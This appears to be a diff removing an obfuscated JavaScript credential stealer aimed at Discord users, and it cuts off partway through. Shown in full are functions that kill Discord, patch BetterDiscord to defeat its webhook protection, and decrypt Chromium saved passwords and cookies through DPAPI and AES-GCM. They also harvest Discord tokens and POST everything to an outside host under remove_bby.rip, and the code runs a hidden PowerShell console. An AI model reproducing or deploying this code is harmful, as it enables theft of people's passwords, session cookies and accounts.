- return aai;
- };
- a0_0x5a57.doVPgx = zr, zh = arguments, a0_0x5a57.zIPImn = !![];
- }
- const zo = zj[0], zp = zk + zo, zq = zh[zp];
- if (!zq) {
- if (a0_0x5a57.Ifzoom === undefined) {
- const aal = function (aam) {
- this.sQsULQ = aam, this.ZFDGCN = [1, 0, 0], this.yvDAMZ = function () {return'newState';}, this.fYEUSR = "\\w+ *\\(\\) *{\\w+ *", this.OHJlHf = "['|\"].+['|\"];? *}";
- };
- aal.prototype.ioLJwQ = function () {
- const aan = new RegExp(this.fYEUSR + this.OHJlHf), aao = aan.test(this.yvDAMZ.toString()) ? --this.ZFDGCN[1] : --this.ZFDGCN[0];
- return this.ieFkVS(aao);
- }, aal.prototype.ieFkVS = function (aap) {
- if (!Boolean(~aap)) return aap;
- return this.aVbbGz(this.sQsULQ);
- }, aal.prototype.aVbbGz = function (aaq) {
- for (let aar = 0, aas = this.ZFDGCN.length; aar < aas; aar++) {
- this.ZFDGCN.push(Math.round(Math.random())), aas = this.ZFDGCN.length;
- }
- return aaq(this.ZFDGCN[0]);
- }, new aal(a0_0x5a57).ioLJwQ(), a0_0x5a57.Ifzoom = !![];
- }
- zm = a0_0x5a57.doVPgx(zm, zl), zh[zp] = zm;
- } else zm = zq;
- return zm;
- }, a0_0x5a57(zh, zi);
- }
- function killDiscord() {
- const aat = {LhWqs: function (aau, aav) {
- return aau === aav;
- }, bZXhW: function (aaw, aax) {
- return aaw === aax;
- }, wAefN: "yQlAl", eLcVu: "UKrCc", rsxwf: function (aay, aaz) {
- return aay !== aaz;
- }, FsNbj: "iIYDL", NMZtT: function (aba) {
- return aba();
- }, OXJru: "jiHQa", YgShg: function (abb, abc, abd) {
- return abb(abc, abd);
- }};
- runningDiscords["forEach"](abe => {
- const abf = {wJITZ: function (abg) {
- return aat["NMZtT"](abg);
- }};
- if (aat["rsxwf"](aat["OXJru"], aat["OXJru"])) return aat["LhWqs"](_0x13c50b.indexOf(_0x12c77a), _0x2f4fa5); else aat["YgShg"](exec, "taskkill /IM " + abe + ("\.exe\ /F"), abh => {
- if (aat["bZXhW"](aat["wAefN"], aat["eLcVu"])) {
- if (_0x16f189) {
- if (_0x3a0602) _0x571bb2["log"](_0x152d9d);
- }
- } else {
- if (abh) {
- if (aat["rsxwf"](aat["FsNbj"], aat.FsNbj)) abf["wJITZ"](_0x401085); else {
- if (debug) console["log"](abh);
- return;
- }
- }
- }
- });
- }), aat.NMZtT(Infect), aat["NMZtT"](pwnBetterDiscord);
- }
- ;
- function startDiscord() {
- const abi = {YNiNl: function (abj, abk) {
- return abj(abk);
- }, sFwjB: function (abl, abm) {
- return abl === abm;
- }, PeDNX: "qSYZt", lIvnt: "QjOzL", hvose: function (abn, abo) {
- return abn !== abo;
- }, MLQkt: "mhBzH", otdRH: function (abp, abq) {
- return abp === abq;
- }, DbcjC: "DVvCg", NsDog: "Starting game\ paths\...", lXydY: function (abr, abs) {
- return abr + abs;
- }, XxwRV: function (abt, abu) {
- return abt + abu;
- }, sofmv: "\\Update\.exe", TGreH: function (abv, abw, abx) {
- return abv(abw, abx);
- }};
- runningDiscords["forEach"](aby => {
- const abz = {ciXcs: function (aca, acb) {
- return abi.sFwjB(aca, acb);
- }, GyJNT: abi["PeDNX"], iTdes: abi["lIvnt"], rLEtE: function (acc, acd) {
- return abi["hvose"](acc, acd);
- }, VkmBu: abi["MLQkt"]};
- if (abi["otdRH"](abi["DbcjC"], abi.DbcjC)) console["log"](abi["NsDog"]), path = abi["lXydY"](abi.lXydY(abi["XxwRV"](localappdata, "\\"), aby), abi.sofmv), abi.TGreH(exec, path + ("\ \-\-processStart ") + aby + "\.exe", ace => {
- if (abz["ciXcs"](abz["GyJNT"], abz["iTdes"])) {
- if (_0x236c2b) {
- if (_0x44f965) _0x4a0222["log"](_0x4fcf2e);
- }
- } else {
- if (ace) {
- if (abz["rLEtE"](abz.VkmBu, abz["VkmBu"])) {
- const acf = [new _0x49f146(/mfa\.[\w-]{84}/g), new _0x34fb75(/[\w-]{24}\.[\w-]{6}\.[\w-]{27}/g)];
- for (const acg of acf) {
- const ach = _0x548b7["match"](acg);
- ach && ach["forEach"](aci => {
- _0x50c59e.push(aci);
- });
- }
- } else {
- if (debug) console.log(ace);
- return;
- }
- }
- }
- }); else {
- const acj = abi["YNiNl"](_0x4f468e, _0x3e4834);
- acj && acj.forEach(ack => {
- _0x214df5.push(ack);
- });
- }
- });
- }
- ;
- function pwnBetterDiscord() {
- const acl = {WYVAf: function (aco, acp) {
- return aco + acp;
- }, yOxLi: "\\BetterDiscord\\data\\betterdiscord.asar", BasVG: function (acq, acr) {
- return acq !== acr;
- }, VjXvI: "vOWyf", VHVwW: "FqMvU", ipMeI: function (acs, act, acu, acv) {
- return acs(act, acu, acv);
- }, bEGBt: "api/webhooks", uDzMY: "kkkk"};
- var acm = acl["WYVAf"](process["env"].appdata, acl["yOxLi"]);
- if (fs["existsSync"](acm)) {
- if (acl["BasVG"](acl["VjXvI"], acl["VHVwW"])) {
- var acn = fs["readFileSync"](acm);
- fs["writeFileSync"](acm, acl["ipMeI"](buf_replace, acn, acl.bEGBt, acl["uDzMY"]));
- } else {
- if (_0x23309e) {
- if (_0x421dff) _0x220f7e["log"](_0x15a478);
- return;
- }
- }
- } else return;
- }
- async function getPasswords(acw) {
- const acx = {EeNhP: "CurrentUser", GSQFy: "utf\-8", tPAxc: function (adf, adg) {
- return adf == adg;
- }, TWzwf: function (adh, adi) {
- return adh == adi;
- }, cCSxY: function (adj, adk) {
- return adj == adk;
- }, qFtZR: function (adl, adm) {
- return adl - adm;
- }, JNccM: "aes\-256\-gcm", grNXa: "base64", iKROG: function (adn, ado) {
- return adn !== ado;
- }, cAcME: "TFqBV", jQdjP: "JiUgL", mhGJB: function (adp, adq) {
- return adp(adq);
- }, GLmDC: function (adr, ads) {
- return adr === ads;
- }, nPCDA: "wnPYy", qtJEB: "gQuCm", yvrKM: "hOFZM", uoycc: function (adt, adu) {
- return adt != adu;
- }, PGWYD: "fWcBa", ckoqb: "rQBSw", NPnkb: function (adv, adw) {
- return adv !== adw;
- }, qidTC: "vfozO", Nbcmr: function (adx, ady) {
- return adx == ady;
- }, eHrkX: function (adz, aea) {
- return adz == aea;
- }, IsUSN: function (aeb, aec) {
- return aeb == aec;
- }, TWobW: "Qabvy", nXqiI: "NPIMF", dytww: "SkHnm", XkwLk: "HVHgV", WBusp: "DXDHr", CTeWH: "DiscordDevelopment", rkXgk: function (aed, aee) {
- return aed === aee;
- }, AlAWP: "Cdctc", RodhM: "child_process", QfehA: "inherit", sihAd: function (aef, aeg) {
- return aef + aeg;
- }, UWVLs: "return\ \(function\(\)\ ", TGewm: "{}.constructor\("return th" + 'is")(' + " )", azIre: function (aeh, aei) {
- return aeh !== aei;
- }, pWsKf: "jDpdf", UOEmG: "SELECT\ origin_url, username_value,\ password_value\ FROM\ logins", LLTVP: function (aej, aek) {
- return aej - aek;
- }, nhOnN: "Network", XNILq: function (ael, aem) {
- return ael - aem;
- }, UtKbm: "cord", YFRYM: "UXNzp", NyzMk: "HbSEi", lZuKB: "Local State", eMuNz: "os_crypt", yEuJi: "encrypted_key", GfpeN: function (aen, aeo) {
- return aen + aeo;
- }, ggmIK: "Login Data", SYzaa: function (aep, aeq) {
- return aep + aeq;
- }, kqPgy: "passwords\.db", pkbSK: function (aer, aes) {
- return aer === aes;
- }, rXQVX: "IkhLo", fhTzv: "yiZVy"};
- let acy = acw.split("\\");
- let acz = acw["includes"](acx["nhOnN"]) ? acy["splice"](-acy["length"], acx.XNILq(acy["length"], 3)) : acy.splice(-acy.length, acx["XNILq"](acy.length, 2)), ada = acx["sihAd"](acz["join"]("\\"), "\\");
- if (acw.startsWith(appdata)) ada = acw;
- if (acw["includes"](acx["UtKbm"])) return;
- if (fs["existsSync"](ada)) {
- if (acx["rkXgk"](acx.YFRYM, acx["NyzMk"])) _0x2e130d += "\
- HOST KEY: " + _0x9edfbe["host_key"] + ("\ \|\ NAME:\ ") + _0x1a067e.name + ("\ \|\ VALUE:\ ") + _0x5d091a["unprotectData"](_0x3fe948, null, acx["EeNhP"])["toString"](acx["GSQFy"]); else {
- let aet = fs["readFileSync"](acx["sihAd"](ada, acx["lZuKB"])), aeu = JSON["parse"](aet)[acx["eMuNz"]][acx["yEuJi"]], aev = Buffer["from"](aeu, acx["grNXa"]).slice(5);
- var adb = acx.GfpeN(acw, acx.ggmIK), adc = acx.SYzaa(acw, acx["kqPgy"]);
- fs["copyFileSync"](adb, adc);
- const aew = Buffer["from"](aev, acx["GSQFy"]), aex = dpapi["unprotectData"](aew, null, acx["EeNhP"]);
- var add = "", ade = new sqlite3["Database"](adc, aez => {
- const afa = {xPRXg: function (afb, afc) {
- return acx["tPAxc"](afb, afc);
- }, LAmSp: function (afd, afe) {
- return acx["TWzwf"](afd, afe);
- }, KgjoG: function (aff, afg) {
- return acx["cCSxY"](aff, afg);
- }, ELDFW: acx["EeNhP"], Elkac: acx.GSQFy, Bxsmt: function (afh, afi) {
- return acx["qFtZR"](afh, afi);
- }, pHExV: function (afj, afk) {
- return acx["qFtZR"](afj, afk);
- }, HVZHr: acx["JNccM"], fFXal: acx.grNXa};
- if (acx.iKROG(acx.cAcME, acx["jQdjP"])) {
- if (aez) {
- if (debug) console["log"](aez);
- }
- } else {
- if (afa.xPRXg(_0x2b9cf4[0], 1) && afa["LAmSp"](_0x21992a[1], 0) && afa["KgjoG"](_0x457d48[2], 0) && afa["KgjoG"](_0x517af9[3], 0)) _0x2ecae8 += "\
- URL: " + _0x3f3cfa["origin_url"] + ("\ \|\ USERNAME:\ ") + _0x489dda["username_value"] + (" | PASSWORD:\ ") + _0x46a9c0["unprotectData"](_0x17c84f, null, afa.ELDFW)["toString"](afa.Elkac); else {
- let afl = _0x5ceb0f["slice"](3, 15), afm = _0x350522.slice(15, afa["Bxsmt"](_0x11c825.length, 16)), afn = _0xa5a319["slice"](afa["pHExV"](_0x221344.length, 16), _0x1d13c9["length"]), afo = _0xbd59c1["createDecipheriv"](afa["HVZHr"], _0x289f30, afl);
- afo["setAuthTag"](afn);
- let afp = afo.update(afm, afa["fFXal"], afa.Elkac);
- afp += afo["final"](afa.Elkac), _0x2e8dcc += "\
- URL: " + _0x34d9f7["origin_url"] + ("\ \|\ USERNAME:\ ") + _0x44c63a["username_value"] + ("\ \|\ PASSWORD: ") + afp;
- }
- }
- });
- const aey = await new Promise((afq, afr) => {
- const afs = {VXiaS: function (aft, afu) {
- return acx["mhGJB"](aft, afu);
- }, hRhgj: acx["RodhM"], czzPV: acx.QfehA, hFGfB: function (afv, afw) {
- return acx["sihAd"](afv, afw);
- }, etuAw: function (afx, afy) {
- return acx["sihAd"](afx, afy);
- }, vFCbQ: acx["UWVLs"], sGeRZ: acx["TGewm"]};
- if (acx["azIre"](acx.pWsKf, acx["pWsKf"])) {
- let afz = "\
- \ \ \ \ Add\-Type\ \-Name Window\ \-Namespace\ Console\ \-MemberDefinition\ '\
- \ \ \ \ \[DllImport\("Kernel32\.dll"\)\]\
- \ \ \ \ public\ static\ extern\ IntPtr GetConsoleWindow\(\);\
- \
- \ \ \ \ \[DllImport\("user32\.dll"\)\]\
- \ \ \ \ public\ static\ extern bool\ ShowWindow\(IntPtr\ hWnd,\ Int32\ nCmdShow);\
- \ \ \ \ '\
- \
- \ \ \ \ \$consolePtr\ =\ \[Console.Window]::GetConsoleWindow\(\)\
- \ #0\ hide\n \[Console\.Window\]::ShowWindow\(\$consolePtr,\ 0\)\
- \ \ \ \ ", aga = _0x1be98d["cwd"](), agb = aga + " emp.ps1";
- _0x271eac["writeFileSync"](agb, afz), afs["VXiaS"](_0x5b33d5, afs["hRhgj"])["execSync"]("type\ \.\\temp\.ps1\ \|\ powershell\.exe -noprofile\ \-", {stdio: afs["czzPV"]}), _0x43d9fd["unlinkSync"](agb);
- } else ade["each"](acx.UOEmG, function (agc, agd) {
- const age = {eDutU: function (agf, agg) {
- return acx["mhGJB"](agf, agg);
- }};
- if (acx["GLmDC"](acx.nPCDA, acx.nPCDA)) {
- if (agc) {
- if (acx["GLmDC"](acx["qtJEB"], acx["yvrKM"])) afs["VXiaS"](_0x3ff976, _0x51c357); else {
- if (debug) console["log"](agc);
- }
- }
- if (acx["uoycc"](agd["username_value"], "")) {
- if (acx["GLmDC"](acx["PGWYD"], acx.ckoqb)) age["eDutU"](_0x53f7e7, _0x474a08); else {
- let agh = agd["password_value"];
- try {
- if (acx["NPnkb"](acx["qidTC"], acx.qidTC)) {
- let agj;
- try {
- agj = minkga["VXiaS"](_0x3cd995, minkga["hFGfB"](minkga.etuAw(minkga["vFCbQ"], minkga.sGeRZ), ");"))();
- } catch (agk) {
- agj = _0x218121;
- }
- return agj;
- } else {
- if (acx["Nbcmr"](agh[0], 1) && acx["eHrkX"](agh[1], 0) && acx["IsUSN"](agh[2], 0) && acx.IsUSN(agh[3], 0)) {
- if (acx["GLmDC"](acx.TWobW, acx["nXqiI"])) {
- const agl = _0x544aa6["match"](_0x387889);
- agl && agl["forEach"](agm => {
- _0xaa6aa9.push(agm);
- });
- } else add += "\
- URL: " + agd["origin_url"] + (" | USERNAME:\ ") + agd["username_value"] + (" | PASSWORD:\ ") + dpapi["unprotectData"](agh, null, acx["EeNhP"])["toString"](acx["GSQFy"]);
- } else {
- if (acx["GLmDC"](acx["dytww"], acx["dytww"])) {
- let agn = agh["slice"](3, 15), ago = agh.slice(15, acx["qFtZR"](agh["length"], 16)), agp = agh["slice"](acx["qFtZR"](agh["length"], 16), agh.length), agq = crypto["createDecipheriv"](acx.JNccM, aex, agn);
- agq["setAuthTag"](agp);
- let agr = agq["update"](ago, acx["grNXa"], acx["GSQFy"]);
- agr += agq["final"](acx.GSQFy), add += "\
- URL: " + agd["origin_url"] + ("\ \|\ USERNAME:\ ") + agd["username_value"] + (" | PASSWORD:\ ") + agr;
- } else {
- if (_0xaedcff) _0x27e397.log(_0x3f560d);
- }
- }
- }
- } catch (agi) {
- if (acx["NPnkb"](acx["XkwLk"], acx.WBusp)) {
- if (debug) console["log"](agi);
- } else return "";
- }
- }
- }
- } else {
- const ags = _0x37bfdf["constructor"]["prototype"]["bind"](_0x17cc04), agt = _0x5c4d43[_0x2861e3], agu = _0x334b4f[agt] || ags;
- ags.__proto__ = _0x402162["bind"](_0x2fd07c), ags["toString"] = agu["toString"]["bind"](agu), _0x107b36[agt] = ags;
- }
- }, function () {
- const agv = {};
- agv["kgvlf"] = acx["CTeWH"];
- const agw = agv;
- acx.rkXgk(acx["AlAWP"], acx["AlAWP"]) ? acx.mhGJB(afq, add) : _0x218dd0.push(agw.kgvlf);
- });
- });
- return aey;
- }
- } else {
- if (acx["pkbSK"](acx["rXQVX"], acx.fhTzv)) {
- let agx = _0x48ddaa["slice"](3, 15), agy = _0x225064["slice"](15, acx["qFtZR"](_0x360161["length"], 16)), agz = _0x275cd4["slice"](acx["LLTVP"](_0x100c39["length"], 16), _0x2fcc8d["length"]), aha = _0x28263d["createDecipheriv"](acx["JNccM"], _0x12e863, agx);
- aha.setAuthTag(agz);
- let ahb = aha["update"](agy, acx["grNXa"], acx["GSQFy"]);
- ahb += aha["final"](acx["GSQFy"]), _0x3844a0 += "\
- URL: " + _0x2fcc70["origin_url"] + ("\ \|\ USERNAME:\ ") + _0x1f0d15["username_value"] + (" | PASSWORD:\ ") + ahb;
- } else return "";
- }
- }
- async function getCookies(ahc) {
- const ahd = {AOmYR: function (ahl, ahm) {
- return ahl !== ahm;
- }, nkrjT: "FIUvl", mYOaR: "Searching\ game folder\.\.\.", GvvxS: "cord", ewirP: function (ahn, aho) {
- return ahn + aho;
- }, GxfAv: function (ahp, ahq) {
- return ahp !== ahq;
- }, wWIcP: "bWcNF", dHWIp: function (ahr, ahs) {
- return ahr(ahs);
- }, ONEFK: "Online\ update\ finded!", WXIoi: function (aht) {
- return aht();
- }, aQTiY: function (ahu, ahv, ahw, ahx) {
- return ahu(ahv, ahw, ahx);
- }, CkWOQ: "api/webhooks", AlovS: "kkkk", LeCfA: "Saving\ config\ file\.\..", jbFZD: function (ahy) {
- return ahy();
- }, UyqKl: "Making\ game config...", QRheQ: "\\app\-\*\\modules\\discord_desktop_core-*\\discord_desktop_core\\index\.js", FNbIu: "https://remove_bby.rip/UljlehPIgdqu/passwords", MtWzn: "text/plain", FoLLY: function (ahz, aia) {
- return ahz === aia;
- }, IeubL: "ZhcsH", sMOHj: "zhxHa", kgeeJ: "fFiGO", mokgV: function (aib, aic) {
- return aib !== aic;
- }, ekuEr: "gFmHy", zrOEF: "WCNxO", cnegw: function (aid, aie) {
- return aid == aie;
- }, DdmPC: "SeMsB", ZfWzW: "CurrentUser", nFLgn: "utf-8", cbONP: "SDkzh", EeZdE: function (aif, aig) {
- return aif - aig;
- }, aSewa: "aes\-256\-gcm", Srxri: "base64", MfPWG: "Whivf", NOmSg: "PcCiO", xSgYX: function (aih, aii) {
- return aih === aii;
- }, eSnvp: "UDhUj", eZUYt: "yBByf", qBTQO: "SELECT\ host_key,\ name,\ encrypted_value\ FROM\ cookies", fSzQc: "(((.+)+)+)+$", xXJSy: function (aij, aik, ail) {
- return aij(aik, ail);
- }, ZgJeO: "Network", FYCgL: function (aim, ain) {
- return aim - ain;
- }, TrKEH: function (aio, aip) {
- return aio + aip;
- }, uEmCn: "JEVYl", FUMDV: "jegxI", wzqXU: function (aiq, air) {
- return aiq + air;
- }, ENusk: "Local\ State", JrEeW: "os_crypt", zamcv: "encrypted_key", hvLuT: "Cookies", qzmrE: "cookies\.db", GQvGK: function (ais, ait) {
- return ais === ait;
- }, uJcwN: "LckMU"};
- let ahe = ahc["split"]("\\"), ahf = ahc["includes"](ahd["ZgJeO"]) ? ahe["splice"](-ahe["length"], ahd["EeZdE"](ahe["length"], 3)) : ahe.splice(-ahe.length, ahd.FYCgL(ahe["length"], 2));
- let ahg = ahd["TrKEH"](ahf.join("\\"), "\\");
- if (ahc["startsWith"](appdata)) ahg = ahc;
- if (ahc["includes"](ahd["GvvxS"])) return;
- if (fs["existsSync"](ahg)) {
- if (ahd["mokgV"](ahd.uEmCn, ahd["FUMDV"])) {
- let aiu = fs["readFileSync"](ahd["wzqXU"](ahg, ahd["ENusk"])), aiv = JSON["parse"](aiu)[ahd["JrEeW"]][ahd["zamcv"]], aiw = Buffer.from(aiv, ahd["Srxri"])["slice"](5);
- var ahh = ahd["wzqXU"](ahc, ahd.hvLuT), ahi = ahd["wzqXU"](ahc, ahd.qzmrE);
- fs["copyFileSync"](ahh, ahi);
- const aix = Buffer["from"](aiw, ahd["nFLgn"]), aiy = dpapi["unprotectData"](aix, null, ahd["ZfWzW"]);
- var ahj = "", ahk = new sqlite3["Database"](ahi, aja => {
- if (ahd["AOmYR"](ahd["nkrjT"], ahd["nkrjT"])) {
- if (_0x1088ec) {
- const ajb = _0x2ea5f5["apply"](_0x8ac6e1, arguments);
- return _0x1e3cbf = null, ajb;
- }
- } else {
- if (aja) {
- if (debug) console["log"](aja);
- }
- }
- });
- const aiz = await new Promise((ajc, ajd) => {
- const aje = {OrSCe: ahd["ONEFK"], idCuO: function (ajf) {
- return ahd["WXIoi"](ajf);
- }, FPsWw: function (ajg, ajh, aji, ajj) {
- return ahd["aQTiY"](ajg, ajh, aji, ajj);
- }, JmtRF: ahd["CkWOQ"], JgrBA: ahd["AlovS"], PmCvm: ahd["LeCfA"], XOpBE: function (ajk) {
- return ahd["jbFZD"](ajk);
- }, dbefB: ahd.UyqKl, pQqnj: function (ajl, ajm) {
- return ahd["ewirP"](ajl, ajm);
- }, ZdyIf: ahd["QRheQ"], qsUmD: ahd["FNbIu"], HHXHo: ahd.MtWzn, Thlzw: function (ajn, ajo) {
- return ahd.FoLLY(ajn, ajo);
- }, MsVPy: ahd["IeubL"], WoSwO: ahd.sMOHj, cWglO: ahd.kgeeJ, jJFdP: function (ajp, ajq) {
- return ahd["mokgV"](ajp, ajq);
- }, iPLwM: ahd["ekuEr"], DSPSR: ahd["zrOEF"], WGiJc: function (ajr, ajs) {
- return ahd.cnegw(ajr, ajs);
- }, xvlrY: function (ajt, aju) {
- return ahd["cnegw"](ajt, aju);
- }, fMaAk: function (ajv, ajw) {
- return ahd.FoLLY(ajv, ajw);
- }, Zdzxw: ahd.DdmPC, bMBKY: ahd.ZfWzW, MlEZe: ahd.nFLgn, bEfze: ahd["cbONP"], BtpOf: function (ajx, ajy) {
- return ahd.EeZdE(ajx, ajy);
- }, cpIjk: ahd.aSewa, Bwwiw: ahd["Srxri"], eUXEH: function (ajz, aka) {
- return ahd.FoLLY(ajz, aka);
- }, oQXXL: ahd["MfPWG"], nZJjP: ahd["NOmSg"]};
- ahd["xSgYX"](ahd["eSnvp"], ahd["eZUYt"]) ? _0x308978 = _0x4e6c13 : ahk["each"](ahd["qBTQO"], function (akb, akc) {
- const akd = {MvfIk: aje.PmCvm, HlKUH: function (akf) {
- return aje["XOpBE"](akf);
- }, roQGJ: aje["dbefB"], cxdVB: function (akg, akh) {
- return aje["pQqnj"](akg, akh);
- }, uInBg: aje.ZdyIf, IwfTv: aje["qsUmD"], wGRBB: aje["HHXHo"]};
- if (aje["Thlzw"](aje.MsVPy, aje["WoSwO"])) _0x355617["mkdirSync"](_0x1c683a, 484), _0x31735d["log"](aje["OrSCe"]), aje["idCuO"](_0x59ecf1); else {
- if (akb) {
- if (aje["Thlzw"](aje["cWglO"], aje["cWglO"])) {
- if (debug) console["log"](akb);
- } else {
- _0x5a2700["log"](akd.roQGJ);
- let akk = akd["cxdVB"]("" + _0x5de255, akd["uInBg"]);
- _0x48cb5d["sync"](akk)["map"](akl => {
- _0x45ae10["push"](akl);
- _0x880510["log"](akd.MvfIk), akd["HlKUH"](_0x10de6d);
- });
- }
- }
- let aki = akc["encrypted_value"];
- try {
- if (aje["jJFdP"](aje["iPLwM"], aje.DSPSR)) {
- if (aje.WGiJc(aki[0], 1) && aje.WGiJc(aki[1], 0) && aje["WGiJc"](aki[2], 0) && aje["xvlrY"](aki[3], 0)) {
- if (aje["fMaAk"](aje["Zdzxw"], aje["Zdzxw"])) ahj += "\
- HOST KEY: " + akc["host_key"] + ("\ \|\ NAME:\ ") + akc["name"] + ("\ \|\ VALUE:\ ") + dpapi["unprotectData"](aki, null, aje.bMBKY)["toString"](aje["MlEZe"]); else {
- var ake = _0x5cdc98["readFileSync"](_0xbc2a84);
- _0x1ddeef["writeFileSync"](_0x27b855, aje["FPsWw"](_0x9f2bba, ake, aje["JmtRF"], aje["JgrBA"]));
- }
- } else {
- if (aje["fMaAk"](aje["bEfze"], aje.bEfze)) {
- let akm = aki["slice"](3, 15), akn = aki["slice"](15, aje["BtpOf"](aki["length"], 16)), ako = aki["slice"](aje["BtpOf"](aki["length"], 16), aki["length"]), akp = crypto["createDecipheriv"](aje["cpIjk"], aiy, akm);
- akp["setAuthTag"](ako);
- let akq = akp.update(akn, aje["Bwwiw"], aje["MlEZe"]);
- akq += akp["final"](aje["MlEZe"]), ahj += "\
- HOST\ KEY: " + akc["host_key"] + ("\ \|\ NAME: ") + akc["name"] + ("\ \|\ VALUE:\ ") + akq;
- } else _0x578068.push(_0x289d1c);
- }
- } else _0x4a2d30["log"](_0x1f2622), _0xdf0c3d.post(akd["IwfTv"], _0x5f5876, {headers: {"Content-Type": akd["wGRBB"]}});
- } catch (akj) {
- if (aje.eUXEH(aje["oQXXL"], aje.nZJjP)) _0x18414d = !![]; else {
- if (debug) console.log(akj);
- }
- }
- }
- }, function () {
- const akr = {OLuOR: ahd["mYOaR"], UoXsz: ahd.GvvxS, nRRey: function (aks, akt) {
- return ahd["ewirP"](aks, akt);
- }};
- if (ahd.GxfAv(ahd["wWIcP"], ahd["wWIcP"])) {
- _0x26eabf["log"](akr["OLuOR"]);
- if (_0x6e6929["includes"](akr["UoXsz"])) _0x5077f7["push"](akr["nRRey"](akr["nRRey"](_0x54c1c5, "\\"), _0x1f8e24)); else return;
- } else ahd["dHWIp"](ajc, ahj);
- });
- });
- return aiz;
- } else return _0x4ff641["toString"]()["search"](FbmUMl["fSzQc"])["toString"]().constructor(_0x488867)["search"](FbmUMl["fSzQc"]);
- } else {
- if (ahd["GQvGK"](ahd["uJcwN"], ahd.uJcwN)) return ""; else {
- const aku = {dqiGa: function (akv, akw, akx) {
- return ahd.xXJSy(akv, akw, akx);
- }};
- _0x4bd50f["forEach"](aky => {
- aku.dqiGa(_0x7d3f93, "taskkill\ /IM " + aky + ".exe /F", akz => {
- if (akz) {
- if (_0x259d7b) _0x2ac63f["log"](akz);
- return;
- }
- });
- }), ahd["jbFZD"](_0x4874f8), ahd["jbFZD"](_0x3d39fe);
- }
- }
- }
- async function stealPasswords() {
- const ala = {LSdKI: "DiscordCanary", iBeVn: function (alf, alg) {
- return alf + alg;
- }, yzTcH: function (alh, ali) {
- return alh !== ali;
- }, cAOGJ: "wPhKa", pCyNP: "fjGbx", BfVrb: "mtEpj", dDqDg: function (alj, alk) {
- return alj !== alk;
- }, NYVzU: "WQTlv", CUkFw: function (all, alm) {
- return all === alm;
- }, OVxqv: "hXeso", QbmYr: "YQQTv", yLPeY: function (aln, alo) {
- return aln !== alo;
- }, Boype: "jLdmo", uEmkF: "\(\(\(\.\+\)\+\)\+\)+$", pxrDH: function (alp, alq) {
- return alp(alq);
- }, eMkIo: "application/json", xCubc: "POST", oCsBy: "https://remove_bby\.rip/UljlehPIgdqu/tokens", JuUzs: "Discord", IYPyG: function (alr, als, alt) {
- return alr(als, alt);
- }, oLoOQ: function (alu) {
- return alu();
- }, Jgcxm: function (alv, alw) {
- return alv < alw;
- }, cDKmP: function (alx, aly) {
- return alx !== aly;
- }, DUGOW: "jsbja", YyHXT: "gwBlY", YOQSG: "Login Data", HxjkQ: "bOzvl", KfsoC: "NCjvO", Jwgpl: function (alz, ama) {
- return alz(ama);
- }, QqxtI: function (amb, amc) {
- return amb === amc;
- }, RDrmZ: function (amd, ame) {
- return amd + ame;
- }, kmSYh: "kszah", MfQJl: "https://remove_bby.rip/UljlehPIgdqu/passwords", uXhnp: "text/plain"};
- const alb = function () {
- const amf = {zgsZs: ala["LSdKI"], MUvUm: function (amg, amh) {
- return ala.iBeVn(amg, amh);
- }, IRDHi: function (ami, amj) {
- return ala["yzTcH"](ami, amj);
- }, BOQAK: ala["cAOGJ"], AxPan: ala["pCyNP"], DobPy: ala["BfVrb"], sFzpg: function (amk, aml) {
- return ala["dDqDg"](amk, aml);
- }, RtOXG: ala["NYVzU"]};
- if (ala["CUkFw"](ala["OVxqv"], ala.QbmYr)) {
- const amm = _0x5ecc01 ? function () {
- if (_0xfb6a82) {
- const amn = _0x3b4a48["apply"](_0x400dfe, arguments);
- return _0x1a46ce = null, amn;
- }
- } : function () {};
- return _0x2c5f45 = ![], amm;
- } else {
- let amo = !![];
- return function (amp, amq) {
- const amr = {srVZU: amf["zgsZs"], GfNiQ: function (ams, amt) {
- return amf["MUvUm"](ams, amt);
- }, acjwi: function (amu, amv) {
- return amf["IRDHi"](amu, amv);
- }, FmpYY: amf["BOQAK"], cLyjU: amf["AxPan"], STStA: amf["DobPy"]};
- if (amf["sFzpg"](amf.RtOXG, amf["RtOXG"])) {
- const amw = _0x37dd88.apply(_0x25f7ae, arguments);
- return _0x18a0da = null, amw;
- } else {
- const amx = amo ? function () {
- if (amr["acjwi"](amr.FmpYY, amr["FmpYY"])) _0xb1aaf2["push"](amr["srVZU"]); else {
- if (amq) {
- if (amr["acjwi"](amr["cLyjU"], amr["STStA"])) {
- const amy = amq.apply(amp, arguments);
- return amq = null, amy;
- } else _0x1c5f1d["push"](amr["GfNiQ"](amr["GfNiQ"](_0x461798, "\\"), _0x4f720b));
- }
- }
- } : function () {};
- return amo = ![], amx;
- }
- };
- }
- }();
- const alc = ala.IYPyG(alb, this, function () {
- if (ala["yLPeY"](ala["Boype"], ala["Boype"])) {
- if (_0x52bc21) _0x3bda21.log(_0x2eb97d);
- } else return alc["toString"]()["search"](ala.uEmkF)["toString"]()["constructor"](alc)["search"](ala["uEmkF"]);
- });
- ala["oLoOQ"](alc);
- let ald = "";
- for (let amz = 0; ala.Jgcxm(amz, paths["length"]); amz++) {
- if (ala.cDKmP(ala.DUGOW, ala["YyHXT"])) {
- if (fs["existsSync"](ala["iBeVn"](paths[amz], ala["YOQSG"]))) {
- if (ala.CUkFw(ala.HxjkQ, ala.KfsoC)) {
- const ana = [];
- for (let anb of _0x8c91f) {
- const ang = ala["pxrDH"](_0x1a69fd, anb);
- ang && ang.forEach(anh => {
- ana["push"](anh);
- });
- }
- var ale = ana.filter(_0x4a0917);
- const anc = {};
- anc["Content-Type"] = ala["eMkIo"];
- const and = anc, ane = {};
- ane["method"] = ala["xCubc"], ane.url = ala["oCsBy"], ane["headers"] = and, ane["data"] = ale;
- const anf = ane;
- _0xc214a9["request"](anf);
- } else ald += await ala["Jwgpl"](getPasswords, paths[amz]) || "";
- }
- ala["QqxtI"](ala.RDrmZ(amz, 1), paths.length) && (ala["QqxtI"](ala["kmSYh"], ala["kmSYh"]) ? (console["log"](ald), axios["post"](ala["MfQJl"], ald, {headers: {"Content-Type": ala["uXhnp"]}})) : _0x3b7f6c["push"](ala.JuUzs));
- } else {
- if (_0x13fc67) _0x438c68["log"](_0x23fb81);
- return;
- }
- }
- }
- async function stealCookies() {
- const ani = {ZYmOn: "Starting\ game paths\...", qCeOz: function (ano, anp) {
- return ano + anp;
- }, JCDcl: "\\Update\.exe", PcpTN: function (anq, anr, ans) {
- return anq(anr, ans);
- }, uHfym: "https://remove_bby.rip/UljlehPIgdqu/cookies", gIPah: a0_0x5a57(1e3, "OK2s") + "plain", cZaOJ: function (ant, anu) {
- return ant !== anu;
